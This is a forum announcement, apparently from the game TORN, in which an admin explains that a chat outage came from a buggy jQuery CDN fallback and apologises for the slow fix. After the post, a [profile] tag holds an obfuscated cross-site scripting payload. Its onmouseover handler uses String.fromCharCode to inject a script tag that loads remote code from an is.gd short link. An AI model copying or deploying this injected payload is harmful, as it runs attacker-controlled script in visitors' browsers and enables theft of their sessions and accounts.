Forums
First  <<>>  Last
Forum Main>>Announcements>> Note: Chat - fixed
Davzz

ID: 323969
Level: 17
Posts: 648
Score: 147
Davzz [323969]Reply | Quote | Report
Thread created on Fri Jan 06, 2012 22:55:06
Last replied to on Fri Jan 06, 2012 22:55:06
Guys,

I know you have had problems with chat over the last 24-48 hours.

The root cause of this is finally fixed. The problem was that we use the Google CDN to send some files (jQuery in particular) to clients to make things as fast as possible (they have more money, and servers, than us).

A few days ago people using OpenDNS (a decent % of the Internet) had a problem accessing this. I am still not sure why OpenDNS decided to ban half of google.com, but ban it they did (see http://www.theinquirer.net/inquirer/news/2135522/opendns-blocked-googles-content-delivery-network)

One of our coders, who happened to be online, noticed that TORN users were complaining that chat was not working, and put a fix in place to load jQuery directly if the Google CDN failed. Nobody really thought much of this.

A few hours later, a 3 node DB cluster that we have to store some chat information had a failover. This happens from time to time, and did not worry us too much.

The following morning the chat problems started to be reported in depth (it takes this long because lots of clients have jQuery cached and don't pull it down each time). I did not connect this to the change the previous day (my mistake) and started a wild goose chase fixing things that were sub-optimal with our chat setup. I was in particular looking at problems that related to the DB failover. As it turns out the various errors we had in logs were actually just false positives, but we spent a lot of time trying to fix these.

It suddenly dawned on me that the change to jQuery might be behind this problem, and I reverted this change about an hour ago; it turns out this change had a bug. Chat started working immediately if you clear out your browsers cache.

Once again, apologies for this - it took me far too long to find and fix this bug.

-Davz

Last Edited: Thu Sep 06, 2012 22:46:42
[profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile]
Forum Main>>Announcements>> Note: Chat - fixed
First  <<>>  Last

This thread has been locked.